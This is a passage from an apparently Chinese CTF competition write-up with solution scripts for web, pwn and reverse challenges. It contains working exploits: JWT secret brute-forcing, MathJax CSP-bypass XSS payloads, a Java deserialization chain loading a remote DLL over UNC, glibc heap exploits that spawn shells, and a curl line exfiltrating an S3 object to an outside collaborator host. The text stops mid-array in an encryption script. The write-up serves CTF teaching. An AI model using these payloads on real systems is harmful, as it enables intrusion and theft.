        url = workUrl + "?SECRET=" + secret + j + "&" + "name=<%25=$%26%25>" + "&" + "do=<%25=$%26%25> is working"

        res = req.get(url)
        #print(res.text)
        if secret + j in res.text:
            secret += j
            print(secret)
            break
        else:
            if j == "z":
                die = True
                break
            continue

die = False
for i in range(50):
    if die:
        break
    for j in dic:
        url = workUrl + "?SECRET=" + j + secret + "&" + "name=<%25=$%26%25>" + "&" + "do=<%25=$%26%25> is working"
        res = req.get(url)
        if j + secret in res.text:
            secret = j+secret
            print(secret)
            break
        else:
            if j == "z":
                die = True
                print("get! this is SECRET: "+secret)
                break
            continue

mycookie = req.cookies.get("auth")
print(mycookie)
mysecret = jwt.decode(mycookie,secret, algorithm='HS256')

mysecret['jkl'] = 10000000000000000000000000000

mycookie = jwt.encode(mysecret,secret,algorithm='HS256')
mycookie = str(mycookie, encoding='ascii')

req.cookies.clear()

req.cookies.set("auth",mycookie)

res = req.post(shopUrl)
# req.cookies.pop(0)
flag = req.cookies.values()[1].split(".")[1].encode(encoding='utf-8')
flag += (len(flag) % 4) * b"="
flag = base64.b64decode(flag)
print(flag)
#print(req.cookies.values())
# flag = jwt.decode(flag,secret, algorithm='HS256')
#
# print(flag)

math-is-fun1

出题人:u2400
解题人数:15
最终分数:588

第一题本属于简单题, 但是无奈大部分师傅都想得太过麻烦. 使用我本来为第二题预留的思路做出了第一道题, 造成了两道题同解的情况.
首先打开题目, 提示中明确指出了存在 CSPDOMpurify , 发现开头为 hello challenge , 发现get有一个参数为 name=challenge 测试会发现这里没有任何过滤但是碍于 CSP 所以无法执行js.
翻阅 mathjax 的文档在 configuration.html 关注到有这样一种配置文件的写法

<script type="text/x-mathjax-config">
  MathJax.Hub.Config({
    extensions: ["tex2jax.js"],
    jax: ["input/TeX", "output/HTML-CSS"],
    tex2jax: {
      inlineMath: [ ['$','$'], ["\\(","\\)"] ],
      displayMath: [ ['$$','$$'], ["\\[","\\]"] ],
      processEscapes: true
    },
    "HTML-CSS": { fonts: ["TeX"] }
  });
</script>
<script type="text/javascript" src="path-to-MathJax/MathJax.js">
</script>

很容易看出, 这段js有一个奇怪的地方在 MathJax.js 被加载之前, 是不会有 MathJax 这个对象的, 更不会有 Hub 属性, 这个js执行必然是失败的, 但是却没有报错, 简单调试就会发现, MathJax 直接 eval 了这个配置文件, 所以调用里面的js的时机是在加载 MathJax.js 时.
所以只需要构造一个 type="text/x-mathjax-config"script 标签就可以绕过CSP执行任意的js代码.
payload:

name=</script><script type%3d"text/x-mathjax-config">YOU_PAYLOAD

math-is-fun2

出题人:u2400
解题人数:14
最终分数:606

这道题的思路是发现mathjax的功能大多都是动态加载的, 需要什么功能就再去加载什么功能, 但是每一次加载后续的静态文件的地址总是加载mathjax.js的域名下的某个目录.
调试发现mathjax会用正则匹配的方式获取第一次加载自己的地址, 放入root属性中, 后续的js也会从这个地址加载, 所以只要可以修改这个root属性便可以引入任意ip的静态文件. 由于 CSP 中有放置 'strict-dynamic' 标志. 所以可以直接使用自己的VPS引入外部的js, 将payload放在自己VPS根目录下的config文件夹中, 命名为 TeX-MML-AM_CHTML.js
payload:

name=%0aMathJax[%27root%27]%3d"http://xxx.xxx.xxx.xxx"

easy-web

出题人:xxx
解题人数:18
最终分数:540

考点:

  1. Vue 调试
  2. AWS Lambda + S3

第一步:

页面为一个登陆页面,尝试登陆无果。

查看页面源码,Vue 的页面,分析源码。

2个路由信息:

Untitled-4552f2cf-9bdb-45e9-8116-7f17cffc1188.png

Untitled-c2fc8a77-29b9-4257-9210-84376d082d82.png

可以看到存在 /main 路由,同时需要登陆验证,验证方式是读取 store.state 的 login 值。

可以有多种方式绕过,随意修改一处进行绕过:

Untitled-104e2b2e-f287-4fe4-9424-0c0bc404067c.png

Untitled-27aaeea7-f08b-44ca-bc92-2989496d4a62.png

第二步:

打包功能存在 命令注入,注入点为我们可控的库名。(扩展:如果可以,应该可以使用自己的 npm 包,在 package.jsonscript 字段 postinstall 注入语句,一血师傅使用的此种方法。题目来源的实际环境是不存在直接命令注入,但存在此种攻击方式。)

读取环境变量值:

在环境变量中发现是 AWS Lambda,从中读取主文件地址 LAMBDA_TASK_ROOT:/var/task,入口文件index.handlerindex.js,所以入口文件地址为 /var/task/index.js

读取文件:

可以看到在上传 AWS S3 服务的配置,省去了 accessKeyId,secretAccessKey,判断 lambda 执行角色至少具有 S3 上传服务权限。

两种方法:

第一种是读取到环境变量配置,将下面三个变量配置到本地环境变量中:

Untitled-74030f7c-2142-4713-9265-c98f0af4a62c.png

然后直接使用 awscli 来本地执行 aws s3 ls 等操作读取 flag。

第二种是使用 Lambda 本身的环境来执行相应的代码来读取 flag ( Lambda 环境本身没有 awscli

node -e "var AWS = require('aws-sdk');var s3 = new AWS.S3();var params = {Bucket: 'sctf',Key:'flaaaaaaaaag/flaaaag.txt'};s3.getObject(params, function(err, data) {require('child_process').execSync('curl https://m5s3e9c35n2r5idoco10l5urnit9hy.burpcollaborator.net/sctf?'+escape(data.Body.toString()))});"

babyEoP

出题人:Jaylin
解题人数:0
最终分数:1000

题目给了一个webshell,弱密码直接进去。

Tomcat启用了_Java Security Manager_,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。

如果顺利,应该可以收集到以下信息:

  1. cookie处存在反序列化的点,有反序列化漏洞。
  2. 查看lib目录,存在 commons-collections 3.1 gadget。
  3. 找到 catalina.policy 文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给 C:/babyEoP/apache-tomcat-8.5.42 的读权限,所以无法列目录,但是 conf 目录是可读的。(有将近10位选手读到了这个文件hhhh。)


我在官方提供的 catalina.policy 的基础上,做了一些修改。给了 LoadLibrarycreateClassLoader_、 _accessDeclaredMembers 几个重要权限。

分析 policy ,应该很容易可以想到,要通过 JNI 绕过 _Java Security Manager_。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。

并且,webshell 的 Eval Java Code 使用时,需要向当前目录写一个 tmp.jsp 文件,所以也是不能用的(不要想着用这个执行代码)。

那么该如何才能执行代码来加载一个不在本地的dll呢?

下面是具体的解题思路:

题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。

ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。

但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。

构造见 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java

下面要加载 dll,用 JNI 绕 JSM。

同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。

这里利用 System.load 的一个特性——可以使用 UNC 路径,加载远程的 dll。

为什么可以使用 UNC 呢?来看下 System.load 的调用过程。

  1. System.load

图片.png

  调用了 Runtime.getRuntime().load0
  1. Runtime.getRuntime().load0

图片.png

  在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。
  1. File.isAbsolute

图片.png

再看看 File 是如何判断是否是绝对路径的。

根据描述,linux下要求以 / 开头。windows下,要求以盘符或者 \\\\ 开头。

emm 综上,所以这里可以使用 UNC 路径。

下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。

这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。

EXP

R.java

public class R {
    static {
        System.load("\\\\xxx.xxx.xxx.xxx\\JNI.dll");
    }

    public static native void exec(String cmd);

    public R(String cmd) {
        exec(cmd);
    }
}

执行命令

javac R.java
jar cvf R.jar R.class

将打包的 R.jar 放到服务器上的 web 服务下。

DLL

R.h
#ifdef __cplusplus
extern "C" {
#endif
    JNIEXPORT void JNICALL Java_R_exec
    (JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

R.cpp
#include "R.h"
#include<stdlib.h>

JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *env, jclass clazz, jstring str) {
    char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
    system(cmd);
    env->ReleaseStringUTFChars(str,cmd);
}

编译成 dll,放到服务器的 webdav 服务下。

https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload,贴到 cookie 里打一发,完事儿~

Pwn

easywasm

出题人:0xd5f
解题人数:0
最终分数:1000

程序存在一个结构体用于保存信息记录

struct
{
      char *username;
      int password;
      char *introduction;
      void (*state)(const char *);
} record;

先说三个函数逻辑

registered()用于初始化record结构体

profile()用于打印usernameintroduction

login()用于验证usernamepassword并通过state函数指针返回登录成功或失败的状态信息

因为程序存在Z_envZ__emscripten_run_scriptZ_vi,只需要改变state即可,但是如果成功调用,还需要泄露出password

其中profile()存在一个溢出漏洞和一个格式化字符串漏洞,通过溢出,我们可以控制任意写的地址,然后再leak出password即可,许多payload的细节可以调试知道

不过带师傅们好像更热衷于ddos,Orz

exp

import requests

url = 'http://47.104.89.129:23333/'

registered = url + 'registered'
profile = url + 'profile'
login = url + 'login'

username = 'username'
password = 'password'
introduction = 'introduction'


payload = ''
payload += 'A'*7
payload += '''
const exec=require("child_process").exec;
exec("cat flag", function(error,stdout,stderr){process.stdout.write(stdout);});
'''.ljust(0x7f, ' ')
payload += '//\x3C\x0D\x00'

params = {
    username: '%2$0141d%1$n',
    introduction: payload
}
requests.get(registered, params=params)
req = requests.get(profile)
passwd = req.text.lstrip('Welcome, ').rstrip('Your introduction: AAAAAAA')

params = {
    username: '%2$0141d%1$n',
    password: passwd
}
requests.get(login, params=params)

one_heap

出题人:zoniony
解题人数:11
最终分数:666
  1. tcache perthread corruption
  2. attack stdout leak libc base
  3. hijack free hook
  4. getshell

Brute-force attack:1/256 just a few minutes XD

from pwn import *

context.log_level = "debug"

bin = ELF("one_heap")
#libc = bin.libc
libc = ELF("libc-2.27.so")

def Debug(cmd=""):
    gdb.attach(p)
    #pause()

def add(size,content):
    p.sendlineafter("choice:", "1")
    p.sendlineafter("size:", str(size))
    p.sendlineafter("content:", content)

def delete():
    p.sendlineafter("choice:", "2")

def pwn(p):
    add(0x40,"")
    delete()
    delete()
    add(0x40,"\x10\x70")
    add(0x40,"")
    add(0x40,p64(0)*4+p64(0x0000000007000000))
    delete()
    add(0x40,"")
    add(0x18,p16(0x2760))
    #Debug()
    payload  = ""
    payload += p64(0xfbad3c80) #_flags= ((stdout->flags & ~ _IO_NO_WRITES)|_IO_CURRENTLY_PUTTING)|_IO_IS_APPENDING
    payload += p64(0)          #_IO_read_ptr
    payload += p64(0)          #_IO_read_end
    payload += p64(0)          #_IO_read_base
    payload += "\x08"          # overwrite last byte of _IO_write_base to point to libc address
    add(0x38,payload)
    libc.address = u64(p.recv(6)+'\x00\x00')-0x3ed8b0
    success("libc.address-->"+hex(libc.address))
    add(0x18,p64(0)+p64(libc.sym["__free_hook"]-8))
    add(0x7f,"/bin/sh\x00"+p64(libc.sym["system"]))
    delete()
    p.interactive()

while True:
    try:
        p = bin.process(env={"LD_PRELOAD":libc.path})
        pwn(p)
    except Exception as e:
        p.close()

two_heap

出题人:0xd5f & zoniony
解题人数:7
最终分数:769

先给师傅们说声对不起,由于上线前临时改动了一下,文件的ld路径是我测试环境的,忘记修改了导致师傅们运行不起来

这道题的本意是想考察libc2.26中malloc存在的负数溢出的漏洞,

# glibc2.26/malloc/malloc.c 1226
#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

当req在区间[-0x10,0]时存在溢出,可以申请到0x20的chunk,因此可以申请到0x20size的chunk有-0x10,0,0x10

⬇️以下内容可以不看

这里啰嗦几句,本来的size是0x10对齐,为了防止负数导致堆溢出所以不能向chunk中写数据,但是又必须要完成两次写(一次hook,一次onegadget),所以想了两个办法解决:第一种就是把0x10对齐改成0x8对齐,这样0x10和0x18都可以写数据,第二种是把read的size写死成固定值.emmm可能题出到晚上2点多脑子抽了选了第一种方案,遗漏了0x8,没能让师傅们体验到高质量的题目十分抱歉

预期解exp如下

#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=True, terminal=['tmux', 'splitw', '-h'])

exe  = './two_heap'
lib  = '/opt/glibc/libc226/lib/libc-2.26.so'
ip   = '47.104.89.129'
port = 10002
elf  = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc

def dbg(script=''):
    attach(io, gdbscript=script)

# ------------------------------------------------

def choice(idx):
    io.recvuntil('Your choice:')
    io.sendline(str(idx))

def new(size, note):
    choice(1)
    io.recvuntil('Input the size:')
    io.sendline(str(size))
    if size > 0:
        io.recvuntil('Input the note:')
        io.send(note)

def delete(idx):
    choice(2)
    io.recvuntil('Input the index:')
    io.sendline(str(idx))

# ------------------------------------------------

LOCAL = 0
name = '%a'*3
base_offset = 0x1af720
hook_offset = 0x1aec10
one_gadget = [0x45e0a, 0x45e5e, 0xe361b]

def exp():
    io.recvuntil(':')
    io.sendline(name)
    io.recvuntil('0x0p+00x0p+00x0.0')
    libc.address = int(io.recv(11)+'0', 16) - base_offset
    log.info(hex(libc.address))

    new(0, '')
    delete(0)
    delete(0)
    delete(0)
    delete(0)
    delete(0)
    new(0x10, p64(libc.address+hook_offset)+'\n')
    new(-8, '')
    new(0x18,p64(libc.address+one_gadget[2])+'\n')
    choice(1)
    io.recvuntil('Input the size:')
    io.sendline(str(0x20))
    io.sendline('cat flag')
    io.recv()

    io.interactive()

# ------------------------------------------------
if __name__ == '__main__':

    if LOCAL:
        io = elf.process(env={"LD_PRELOAD":libc.path})
    else:
        io = remote(ip, port)

    exp()

easy_heap

出题人:xxx
解题人数:12
最终分数:645

备注:引用kn0ck的wp

这个pwn题漏洞很明显,在0xe2d处,看⻅该读函数存在⼀字节溢出,该字节为0。

unsigned __int64 __fastcall some_read_nterm_0end(char *dst, unsigned __int64 len)
{
 char buf; // [rsp+13h] [rbp-Dh]
 int i; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v5; // [rsp+18h] [rbp-8h]
 v5 = __readfsqword(0x28u);
 for ( i = 0; i < len; ++i )
 {
     if ( read(0, &buf, 1uLL) <= 0 )
     {
         perror("Read failed!\n");
         exit(-1);
     }
     if ( buf == 10 )
         break;
         dst[i] = buf;
     }
     if ( i == len )
         dst[i] = 0;
     return __readfsqword(0x28u) ^ v5;
}

结合程序本身,只有程序基地址的泄露,以及mmap分配的可读/写/执⾏段的地址,没有libc或者堆栈地
址。由此⼤致可猜测这个是需要最终执⾏shellcode的。
⾸先可以使⽤⼀字节溢出进⾏unlink攻击,由此获取任意写的能⼒,将shellcode写⼊mmap段,然后就需
要考虑如何劫持控制流。
由于给的libc是2.23版本,该版本是没有对IO_File结构体的vtable进⾏检查的,所以这个可以通过篡改
unsorted bin的bk指针⾄ IO_list_all-0x10处,导致_IO_list_all被篡改,最终进⾏⼀个经典的⽂件结构体伪
造,vtable即指向我们可控的程序段,⾥⾯则写上mmap段地址,当出现堆错误打印信息时,即可触发。

from PwnContext import *
if __name__ == '__main__':
    context.terminal = ['tmux', 'split', '-h']
    context.log_level = 'debug'
 #-----function for quick script-----#
    s         = lambda data :ctx.send(str(data)) #in case that data is a int
    sa         = lambda delim,data :ctx.sendafter(str(delim), str(data))
    st         = lambda delim,data :ctx.sendthen(str(delim), str(data))
    sl         = lambda data :ctx.sendline(str(data))
    sla     = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
    r         = lambda numb=4096 :ctx.recv(numb)
    ru         = lambda delims, drop=True :ctx.recvuntil(delims, drop)
    irt     = lambda :ctx.interactive()

    rs         = lambda *args, **kwargs :ctx.start(*args, **kwargs)
    leak     = lambda address, count=0 :ctx.leak(address, count)

    uu32     = lambda data :u32(data.ljust(4, '\0'))
    uu64     = lambda data :u64(data.ljust(8, '\0'))

    ctx.binary = './easy_heap'
    ctx.remote = ('132.232.100.67', 10004)

    ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_amd64'
    #ctx.remote_libc = './libc.so.6'
    ctx.debug_remote_libc = True

    ctx.symbols = {
        'lst':0x202060,
        'cnt':0x202040,
    }
    def add(size):
        sl(1)
        sla('Size', size)
        ru('Address ')
        addr = int(ru('\n'), 16)
        return addr

    def free(idx):
        sl(2)
        sla('Index', idx)

    def fill(idx, content):
        sl(3)
        sla('Index', idx)
        sa('Content', content)


    while True:
        try:
            rs('remote')
            #ctx.debug(gdbscript='c')

            ru('Mmap: ')
            mmap_addr = int(ru('\n'), 16)

            prog_base = add(0xf8) - 0x202068
            add(0xf0)

            add(0x20)

            target = prog_base+0x202068
            payload1 = p64(0) + p64(0xf1)
            payload1 += p64(target-0x18) + p64(target-0x10)
            payload1 = payload1.ljust(0xf0, '\0')
            payload1 += p64(0xf0)
            fill(0, payload1)

            #unlink
            free(1)

            def vuln_write(addr, content):
                payload = p64(0) + p64(0)
                payload += p64(0xf8) + p64(prog_base+0x202050)
                payload += p64(0x1000) + p64(addr)
                fill(0, payload + '\n')
                sleep(0.5)
                fill(1, content + '\n')


            vuln_write(mmap_addr, asm(shellcraft.sh()))

            add(0x20)

            payload2 = p64(0) + p64(0)
            payload2 += p64(0xf8) + p64(prog_base+0x202050)
            payload2 += p64(0) + p64(0)
            RE
            payload2 += p64(0) + p64(0)
            payload2 += p64(8) + '\x48'
            fill(0, payload2 + '\n')
            fill(3, '\x61\x00\n')


            payload3 = p64(0) + p64(0)
            payload3 += p64(0xf8) + p64(prog_base+0x202050)
            payload3 += p64(0) + p64(0)
            payload3 += p64(0) + p64(0)
            payload3 += p64(8) + '\x58'
            fill(0, payload3 + '\n')
            fill(3, '\x10\x75\n')


            payload4 = p64(0) + p64(0)
            payload4 += p64(0xf8) + p64(prog_base+0x202050)
            payload4 += p64(0) + p64(0)
            payload4 += p64(0) + p64(0)
            payload4 += p64(0x1000) + '\x60'
            fill(0, payload4 + '\n')
            fake_vtable = prog_base + 0x202070
            payload5 = p64(2) + p64(3)
            payload5 = payload5.ljust(0xb8,'\x00')
            payload5 += p64(fake_vtable)

            fill(3, payload5 + '\n')

            payload6 = p64(0) + p64(0)
            payload6 += p64(0xf8) + p64(prog_base+0x202050)
            payload6 += p64(mmap_addr) * 8
            fill(0, payload6 + '\n')

            #now trigger
            sleep(0.1)
            sl(1)
            sla('Size', 1)
            sleep(0.1)
            if ctx.connected():
            irt()
        except EOFError:
            pass

Re

music

出题人:0x指纹
解题人数:12
最终分数:645

app 打开后会播放《早春的树》,播放完后才能输入 flag,若错误需要重新听歌,可将 app 入 口活动改为 Main2Activity,即可直接输入 flag。

MainActivity 播放歌曲,进入 Main2Activity 点击按钮后会启动和绑定一个服务,即类 s。
类 s 中的 a 方法是进行 md5 加密。方法是查询 sctf.db 返回字符串” hellosctf”。方法是变形 的 rc4 加密,对输入进行加密,密钥是 md5 加密”hellosctf”。方法 g 是加密得到的密文和” C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3AhC3A7C29A1654C3AF28C3A1C2B12 15B53”进行对比。

点击按钮后面的过程就是对输入进行变形 rc4 加密,再进行对比。
注意有一个类 p,作用是 Bytes->HexString.toUpperCase(),在 md5 加密后得到的 bytes 和变

形 rc4 加密得到的 String 进行 getBytes()得到的 bytes 都进行了这样的处理。

说一下 rc4 的变形,除了最后的 String 字符串每个字符赋值处的一行代码有改动外,还有就 是对得到的 String 先 getBytes(),然后再 Bytes->HexString.toUpperCase()。 因此在写脚本时候,需要先将对比的字符串进行 HexString->Bytes,接着 String(Byte[])得到 String,然后即可正常进行 rc4 解密。

当然 rc4 是流加密,还可以进行爆破。

Strange apk

出题人:0xE4s0n
解题人数:28
最终分数:425

壳程序分析

在AndroidManifest中发现程序主活动与包名不同

并且自定义了Application

图片.png

图片.png

发现重写了attachBaseContext方法从Assets文件夹取出"data"文件加载为apk

而加载时又对文件进行了解密操作
图片.png
又在oncreate方法中通过反射动态加载了解出的apk的activity
图片.png

脱壳

本来解密后的apk是从/data/data/sctf.hello被删除了的

由于出题组疏忽放错了题目,没有删除可以直接copy出来

下面讲一讲删除后怎么做

方法一

看懂代码后 只需要将data文件取出进行解密

图片.png

方法二

在壳程序将源程序加载到data目录后,反射启动源程序前,下断点

即可在/data/data/sctf.hello文件夹下copy出源程序

方法三

利用内存dump工具将加载到内存的源程序dump出来,例如GG修改器

分析源程序

源程序对输入的字符进行了分隔

前半部分进行了base64加密

图片.png

后半部分与MD5加密后的"syclover"相拼接
图片.png

图片.png

payload
import base64
import sys

str1 = "c2N0ZntXM2xjMG1l"
str2 = "~8t808_8A8n848r808i8d8-8w808r8l8d8}8"

j = 0
sys.stdout.write(base64.b64decode(str1))
for i in str2:
    if j % 2 == 0:
        sys.stdout.write(i)
    j += 1

flag:sctf{W3lc0me~t0_An4r0id-w0rld}

Who is he?

出题人:xxx
解题人数:5
最终分数:833

1.正常逆向得解密算法。
2.解密。Net得解密算法

ojbk

出题人:0xpoker
解题人数:0
最终分数:1000

备注: python加密脚本

import os
import sys
import struct

big_box = [0x16A7ACAC, 0x47B82F2F, 0xAE316666, 0x89F10101, 0x9A084545, 0xFD985252, 0x3562CCCC, 0x3FDE7575, 0x56F7DCDC, 0x7532BCBC, 0x4FB22121, 0x9359A4A4, 0x03ED5858, 0xB896CACA, 0x3D68C2C2, 0xE26E1F1F, 0xFA700D0D, 0xAF6A8989, 0xEF3AF9F9, 0x67901717, 0xB7749B9B, 0x04050707, 0xA7608787, 0xED8C4E4E, 0x44557777, 0xECD7A1A1, 0xCF12C1C1, 0xF5925C5C, 0xBA207D7D, 0x53A93434, 0x1FF64D4D, 0x88AAEEEE, 0xC4F59797, 0x0ABCB9B9, 0xA48DDFDF, 0x6929A9A9, 0xF4C9B3B3, 0x5C4B6565, 0xDE5D3232, 0x0BE75656, 0x02B6B7B7, 0xB62F7474, 0xF321ECEC, 0x76DFE4E4, 0xEE611616, 0x2A948181, 0xC31DC8C8, 0x6F9A1919, 0x0EB9BEBE, 0xD4E18B8B, 0xF99D5555, 0x63951010, 0x551A8484, 0xB9CD2525, 0xC5AE7878, 0x07E85F5F, 0x8E195E5E, 0x368F9494, 0x1945FDFD, 0xE730F7F7, 0xBF7E9595, 0xC8FA9E9E, 0x2E918686, 0x4EE9CECE, 0x34392323, 0xF8C6BABA, 0x7D38B2B2, 0x38362A2A, 0x85FE0808, 0xF0CCB4B4, 0x43BD2828, 0x50446C6C, 0xCA4C2929, 0xB499C3C3, 0xE9894949, 0xD70CD3D3, 0xD0E48C8C, 0x055EE8E8, 0x3167CBCB, 0x6C774141, 0x181E1212, 0x450E9898, 0xF724EBEB, 0xDF06DDDD, 0x9DE01A1A, 0xBB7B9292, 0xCE492E2E, 0xB5C22C2C, 0x5AF8D5D5, 0x4D049696, 0x1D40FAFA, 0xCDA47676, 0x6B9F1E1E, 0x80A0E0E0, 0x8DF40606, 0xD9B56D6D, 0x96074C4C, 0x95EA1414, 0xA63B6868, 0x52F2DBDB, 0x647D4F4F, 0x92024B4B, 0x13F94444, 0xD5BA6464, 0x9B53AAAA, 0xE4DDAFAF, 0xC6432020, 0x12A2ABAB, 0x9F56ADAD, 0xB3719C9C, 0xBDC82222, 0xA3658080, 0x6D2CAEAE, 0x242D3F3F, 0x303C2424, 0xD2523B3B, 0x6EC1F6F6, 0x81FB0F0F, 0xAA346161, 0x14111B1B, 0x3C332D2D, 0x62CEFFFF, 0x82165757, 0xA9D93939, 0x114FF3F3, 0x3A809D9D, 0x975CA3A3, 0x706C5454, 0xA5D63030, 0x5FA63D3D, 0x49019191, 0x00000000, 0x584E6262, 0x74695353, 0x9CBBF5F5, 0x2BCF6E6E, 0xE335F0F0, 0x8CAFE9E9, 0x72DAE3E3, 0x37D47B7B, 0xA1D33737, 0x834DB8B8, 0x73810C0C, 0x1C1B1515, 0x2979D9D9, 0xAC87D1D1, 0xDA583535, 0x6526A0A0, 0x5D108A8A, 0x4AECC9C9, 0xA882D6D6, 0x5EFDD2D2, 0xDDB06A6A, 0xBC93CDCD, 0x10141C1C, 0xB1C72B2B, 0x4BB72626, 0x28223636, 0x3E859A9A, 0xBE257A7A, 0x86135050, 0x06B3B0B0, 0x2576D0D0, 0xEB3FFEFE, 0x8F42B1B1, 0xE8D2A6A6, 0xB09CC4C4, 0x0FE25151, 0x4C5F7979, 0x7137BBBB, 0x60784848, 0x2D7CDEDE, 0xF27A0303, 0x40507070, 0x015BEFEF, 0x0C0F0909, 0x7F8E0505, 0x229E8F8F, 0x328A9393, 0x77840B0B, 0xFCC3BDBD, 0x17FC4343, 0xD6573C3C, 0xE5864040, 0x7AD0EDED, 0x6123A7A7, 0xDCEB8585, 0x33D17C7C, 0x2FCA6969, 0xFB2BE2E2, 0x2173D7D7, 0x78665A5A, 0x0951E1E1, 0x0D54E6E6, 0x94B1FBFB, 0x1AA8A5A5, 0x2C273131, 0x8A1C5959, 0x269B8888, 0xEA641111, 0x7ED5EAEA, 0x1BF34A4A, 0x3BDB7272, 0x1EADA2A2, 0xA23E6F6F, 0xF1975B5B, 0x42E6C7C7, 0x54416B6B, 0x66CBF8F8, 0x90B4FCFC, 0xFF2EE5E5, 0x6AC4F1F1, 0xC2462727, 0xA088D8D8, 0xC9A17171, 0xCCFF9999, 0x7C635D5D, 0x59158D8D, 0xE66B1818, 0x396DC5C5, 0x23C56060, 0x84A5E7E7, 0xAB6F8E8E, 0xE1834747, 0x57AC3333, 0xB22A7373, 0x8B47B6B6, 0xFE750A0A, 0x20283838, 0xCB17C6C6, 0xADDC3E3E, 0x511F8383, 0xE0D8A8A8, 0xF67F0404, 0x793DB5B5, 0x154AF4F4, 0x68724646, 0x99E51D1D, 0x7B8B0202, 0xC718CFCF, 0x46E3C0C0, 0x485A7E7E, 0x98BEF2F2, 0xD8EE8282, 0x410B9F9F, 0x9E0D4242, 0xC0F09090, 0x080A0E0E, 0xDB03DADA, 0x27C06767, 0x5BA33A3A, 0xD309D4D4, 0x8748BFBF, 0xC1AB7F7F, 0x91EF1313, 0xD1BF6363, 0x9B9B74B7, 0x3131272C, 0xB6B6478B, 0x94948F36, 0x77775544, 0x29294CCA, 0x7E7E5A48, 0xEDEDD07A, 0x4444F913, 0x59591C8A, 0x8D8D1559, 0xE4E4DF76, 0x07070504, 0x9D9D803A, 0xC2C2683D, 0x2626B74B, 0x19199A6F, 0xB5B53D79, 0xA6A6D2E8, 0x8C8CE4D0, 0xDDDD06DF, 0x50501386, 0x05058E7F, 0x6767C027, 0x0D0D70FA, 0xD6D682A8, 0xEAEAD57E, 0xADAD569F, 0x53536974, 0x7D7D20BA, 0x6969CA2F, 0x7575DE3F, 0x161661EE, 0xDBDBF252, 0xD0D07625, 0xFEFE3FEB, 0x98980E45, 0xBDBDC3FC, 0xCFCF18C7, 0xBFBF4887, 0xA2A2AD1E, 0x04047FF6, 0x23233934, 0x4A4AF31B, 0x92927BBB, 0x10109563, 0xA3A35C97, 0xA4A45993, 0x24243C30, 0xF7F730E7, 0x4E4E8CED, 0x0808FE85, 0x6060C523, 0x3D3DA65F, 0x5D5D637C, 0x6A6AB0DD, 0x616134AA, 0x73732AB2, 0xE3E3DA72, 0x2B2BC7B1, 0x3939D9A9, 0xE7E7A584, 0x91910149, 0x38382820, 0xBCBC3275, 0xCDCD93BC, 0xFDFD4519, 0x5656E70B, 0xF9F93AEF, 0xB2B2387D, 0x65654B5C, 0x8F8F9E22, 0x494989E9, 0x5B5B97F1, 0x525298FD, 0x2C2CC2B5, 0x8686912E, 0xCACA96B8, 0x0B0B8477, 0x7C7CD133, 0x32325DDE, 0x3B3B52D2, 0xFAFA401D, 0x5C5C92F5, 0x00000000, 0x5F5FE807, 0xCBCB6731, 0xD7D77321, 0x2A2A3638, 0x7878AEC5, 0xCCCC6235, 0x6C6C4450, 0xABABA212, 0x4141776C, 0x3A3AA35B, 0xE2E22BFB, 0xDCDCF756, 0x36362228, 0x7A7A25BE, 0x62624E58, 0xF3F34F11, 0xEEEEAA88, 0x7F7FABC1, 0xC0C0E346, 0x0F0FFB81, 0x9C9C71B3, 0x18186BE6, 0x7272DB3B, 0x6363BFD1, 0x5A5A6678, 0xACACA716, 0x3737D3A1, 0xB4B4CCF0, 0xA1A1D7EC, 0x1B1B1114, 0xE8E85E05, 0x2E2E49CE, 0x8A8A105D, 0x89896AAF, 0x4545089A, 0x4B4B0292, 0xD2D2FD5E, 0x79795F4C, 0x9090F0C0, 0x02028B7B, 0x0606F48D, 0x03037AF2, 0x83831F51, 0x1E1E9F6B, 0x9999FFCC, 0xBBBB3771, 0xC7C7E642, 0x1313EF91, 0x9797F5C4, 0x3333AC57, 0x808065A3, 0xAFAFDDE4, 0x9F9F0B41, 0x6B6B4154, 0x0101F189, 0x8282EED8, 0x8B8BE1D4, 0x12121E18, 0x353558DA, 0xF1F1C46A, 0x0E0E0A08, 0x1A1AE09D, 0xA5A5A81A, 0x7B7BD437, 0x404086E5, 0xAEAE2C6D, 0xF0F035E3, 0xC6C617CB, 0x55559DF9, 0xE0E0A080, 0xC1C112CF, 0x95957EBF, 0x15151B1C, 0x5151E20F, 0xAAAA539B, 0xA8A8D8E0, 0x8E8E6FAB, 0x9696044D, 0xD5D5F85A, 0xFCFCB490, 0x6D6DB5D9, 0xDFDF8DA4, 0xDEDE7C2D, 0x3C3C57D6, 0x9A9A853E, 0xA7A72361, 0x09090F0C, 0xD3D30CD7, 0x272746C2, 0x57571682, 0x2525CDB9, 0x17179067, 0x666631AE, 